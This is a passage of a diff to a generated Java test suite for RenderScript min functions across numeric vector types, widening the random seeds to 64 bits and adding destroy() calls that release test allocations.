             verifyResultsMinFloat4FloatFloat4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinFloat4FloatFloat4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinFloat4FloatFloat4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -941,13 +992,14 @@
     }
 
     private void checkMinHalf2HalfHalf2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x64f79509l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x64f7950al, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x15246c9664f79509l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x15246c9664f7950al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinHalf2HalfHalf2(inA, out);
             verifyResultsMinHalf2HalfHalf2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinHalf2HalfHalf2: " + e.toString());
         }
@@ -956,9 +1008,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinHalf2HalfHalf2(inA, out);
             verifyResultsMinHalf2HalfHalf2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinHalf2HalfHalf2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinHalf2HalfHalf2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1025,13 +1080,14 @@
     }
 
     private void checkMinHalf3HalfHalf3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x179126adl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x179126ael, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x3fb18d15179126adl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x3fb18d15179126ael, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinHalf3HalfHalf3(inA, out);
             verifyResultsMinHalf3HalfHalf3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinHalf3HalfHalf3: " + e.toString());
         }
@@ -1040,9 +1096,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinHalf3HalfHalf3(inA, out);
             verifyResultsMinHalf3HalfHalf3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinHalf3HalfHalf3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinHalf3HalfHalf3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1109,13 +1168,14 @@
     }
 
     private void checkMinHalf4HalfHalf4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xca2ab851l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xca2ab852l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x6a3ead93ca2ab851l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x6a3ead93ca2ab852l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinHalf4HalfHalf4(inA, out);
             verifyResultsMinHalf4HalfHalf4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinHalf4HalfHalf4: " + e.toString());
         }
@@ -1124,9 +1184,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinHalf4HalfHalf4(inA, out);
             verifyResultsMinHalf4HalfHalf4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinHalf4HalfHalf4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinHalf4HalfHalf4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1199,13 +1262,14 @@
     }
 
     private void checkMinCharCharChar() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0xe8196e0l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0xe8196e1l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0x78bd3bd20e8196e0l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0x78bd3bd20e8196e1l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinCharCharChar(inA, out);
             verifyResultsMinCharCharChar(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinCharCharChar: " + e.toString());
         }
@@ -1214,9 +1278,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinCharCharChar(inA, out);
             verifyResultsMinCharCharChar(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinCharCharChar: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinCharCharChar(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1277,13 +1344,14 @@
     }
 
     private void checkMinChar2Char2Char2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 2, 0xc8ef5ae2l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 2, 0xc8ef5ae3l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 2, 0x29373baac8ef5ae2l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 2, 0x29373baac8ef5ae3l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinChar2Char2Char2(inA, out);
             verifyResultsMinChar2Char2Char2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinChar2Char2Char2: " + e.toString());
         }
@@ -1292,9 +1360,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinChar2Char2Char2(inA, out);
             verifyResultsMinChar2Char2Char2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinChar2Char2Char2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinChar2Char2Char2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1355,13 +1426,14 @@
     }
 
     private void checkMinChar3Char3Char3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x278e6bb1l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x278e6bb2l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x4eebbb94278e6bb1l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x4eebbb94278e6bb2l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinChar3Char3Char3(inA, out);
             verifyResultsMinChar3Char3Char3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinChar3Char3Char3: " + e.toString());
         }
@@ -1370,9 +1442,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinChar3Char3Char3(inA, out);
             verifyResultsMinChar3Char3Char3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinChar3Char3Char3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinChar3Char3Char3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1433,13 +1508,14 @@
     }
 
     private void checkMinChar4Char4Char4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 4, 0x862d7c80l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 4, 0x862d7c81l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 4, 0x74a03b7d862d7c80l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 4, 0x74a03b7d862d7c81l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinChar4Char4Char4(inA, out);
             verifyResultsMinChar4Char4Char4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinChar4Char4Char4: " + e.toString());
         }
@@ -1448,9 +1524,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinChar4Char4Char4(inA, out);
             verifyResultsMinChar4Char4Char4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinChar4Char4Char4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinChar4Char4Char4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1517,13 +1596,14 @@
     }
 
     private void checkMinUcharUcharUchar() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0x3445490bl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0x3445490cl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0x1469cbe93445490bl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0x1469cbe93445490cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinUcharUcharUchar(inA, out);
             verifyResultsMinUcharUcharUchar(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUcharUcharUchar: " + e.toString());
         }
@@ -1532,9 +1612,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinUcharUcharUchar(inA, out);
             verifyResultsMinUcharUcharUchar(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUcharUcharUchar: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinUcharUcharUchar(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1595,13 +1678,14 @@
     }
 
     private void checkMinUchar2Uchar2Uchar2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0xcaf0b355l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0xcaf0b356l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0x3c36fd71caf0b355l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0x3c36fd71caf0b356l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinUchar2Uchar2Uchar2(inA, out);
             verifyResultsMinUchar2Uchar2Uchar2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUchar2Uchar2Uchar2: " + e.toString());
         }
@@ -1610,9 +1694,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinUchar2Uchar2Uchar2(inA, out);
             verifyResultsMinUchar2Uchar2Uchar2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUchar2Uchar2Uchar2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinUchar2Uchar2Uchar2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1673,13 +1760,14 @@
     }
 
     private void checkMinUchar3Uchar3Uchar3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0xccceb4f6l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0xccceb4f7l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x909bdb91ccceb4f6l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x909bdb91ccceb4f7l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinUchar3Uchar3Uchar3(inA, out);
             verifyResultsMinUchar3Uchar3Uchar3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUchar3Uchar3Uchar3: " + e.toString());
         }
@@ -1688,9 +1776,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinUchar3Uchar3Uchar3(inA, out);
             verifyResultsMinUchar3Uchar3Uchar3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUchar3Uchar3Uchar3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinUchar3Uchar3Uchar3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1751,13 +1842,14 @@
     }
 
     private void checkMinUchar4Uchar4Uchar4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0xceacb697l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0xceacb698l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0xe500b9b1ceacb697l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0xe500b9b1ceacb698l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinUchar4Uchar4Uchar4(inA, out);
             verifyResultsMinUchar4Uchar4Uchar4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUchar4Uchar4Uchar4: " + e.toString());
         }
@@ -1766,9 +1858,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinUchar4Uchar4Uchar4(inA, out);
             verifyResultsMinUchar4Uchar4Uchar4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUchar4Uchar4Uchar4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinUchar4Uchar4Uchar4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1835,13 +1930,14 @@
     }
 
     private void checkMinShortShortShort() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0xf2c0a572l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0xf2c0a573l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0x265d6881f2c0a572l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0x265d6881f2c0a573l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinShortShortShort(inA, out);
             verifyResultsMinShortShortShort(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinShortShortShort: " + e.toString());
         }
@@ -1850,9 +1946,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinShortShortShort(inA, out);
             verifyResultsMinShortShortShort(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinShortShortShort: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinShortShortShort(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1913,13 +2012,14 @@
     }
 
     private void checkMinShort2Short2Short2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x69f3c358l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x69f3c359l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 2, 0xac037aa769f3c358l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 2, 0xac037aa769f3c359l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinShort2Short2Short2(inA, out);
             verifyResultsMinShort2Short2Short2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinShort2Short2Short2: " + e.toString());
         }
@@ -1928,9 +2028,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinShort2Short2Short2(inA, out);
             verifyResultsMinShort2Short2Short2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinShort2Short2Short2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinShort2Short2Short2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -1991,13 +2094,14 @@
     }
 
     private void checkMinShort3Short3Short3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x6bd1c4f9l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x6bd1c4fal, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x6858c76bd1c4f9l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x6858c76bd1c4fal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinShort3Short3Short3(inA, out);
             verifyResultsMinShort3Short3Short3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinShort3Short3Short3: " + e.toString());
         }
@@ -2006,9 +2110,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinShort3Short3Short3(inA, out);
             verifyResultsMinShort3Short3Short3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinShort3Short3Short3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinShort3Short3Short3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -2069,13 +2176,14 @@
     }
 
     private void checkMinShort4Short4Short4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x6dafc69al, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x6dafc69bl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x54cd36e76dafc69al, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x54cd36e76dafc69bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinShort4Short4Short4(inA, out);
             verifyResultsMinShort4Short4Short4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinShort4Short4Short4: " + e.toString());
         }
@@ -2084,9 +2192,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinShort4Short4Short4(inA, out);
             verifyResultsMinShort4Short4Short4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinShort4Short4Short4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinShort4Short4Short4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -2153,13 +2264,14 @@
     }
 
     private void checkMinUshortUshortUshort() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0xcc4e79c5l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0xcc4e79c6l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0xf8a042afcc4e79c5l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0xf8a042afcc4e79c6l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinUshortUshortUshort(inA, out);
             verifyResultsMinUshortUshortUshort(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUshortUshortUshort: " + e.toString());
         }
@@ -2168,9 +2280,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinUshortUshortUshort(inA, out);
             verifyResultsMinUshortUshortUshort(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUshortUshortUshort: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinUshortUshortUshort(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -2231,13 +2346,14 @@
     }
 
     private void checkMinUshort2Ushort2Ushort2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0x878f4ca3l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0x878f4ca4l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0x2743846f878f4ca3l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0x2743846f878f4ca4l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinUshort2Ushort2Ushort2(inA, out);
             verifyResultsMinUshort2Ushort2Ushort2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUshort2Ushort2Ushort2: " + e.toString());
         }
@@ -2246,9 +2362,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinUshort2Ushort2Ushort2(inA, out);
             verifyResultsMinUshort2Ushort2Ushort2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUshort2Ushort2Ushort2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinUshort2Ushort2Ushort2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -2309,13 +2428,14 @@
     }
 
     private void checkMinUshort3Ushort3Ushort3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0xd0743e3al, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0xd0743e3bl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0xa7331d68d0743e3al, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0xa7331d68d0743e3bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinUshort3Ushort3Ushort3(inA, out);
             verifyResultsMinUshort3Ushort3Ushort3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUshort3Ushort3Ushort3: " + e.toString());
         }
@@ -2324,9 +2444,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinUshort3Ushort3Ushort3(inA, out);
             verifyResultsMinUshort3Ushort3Ushort3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUshort3Ushort3Ushort3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinUshort3Ushort3Ushort3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -2387,13 +2510,14 @@
     }
 
     private void checkMinUshort4Ushort4Ushort4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0x19592fd1l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0x19592fd2l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0x2722b66219592fd1l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0x2722b66219592fd2l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinUshort4Ushort4Ushort4(inA, out);
             verifyResultsMinUshort4Ushort4Ushort4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUshort4Ushort4Ushort4: " + e.toString());
         }
@@ -2402,9 +2526,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinUshort4Ushort4Ushort4(inA, out);
             verifyResultsMinUshort4Ushort4Ushort4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUshort4Ushort4Ushort4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinUshort4Ushort4Ushort4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -2471,13 +2598,14 @@
     }
 
     private void checkMinIntIntInt() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0xe703dfd7l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0xe703dfd8l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0xfb5d72ade703dfd7l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0xfb5d72ade703dfd8l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinIntIntInt(inA, out);
             verifyResultsMinIntIntInt(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinIntIntInt: " + e.toString());
         }
@@ -2486,9 +2614,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinIntIntInt(inA, out);
             verifyResultsMinIntIntInt(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinIntIntInt: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
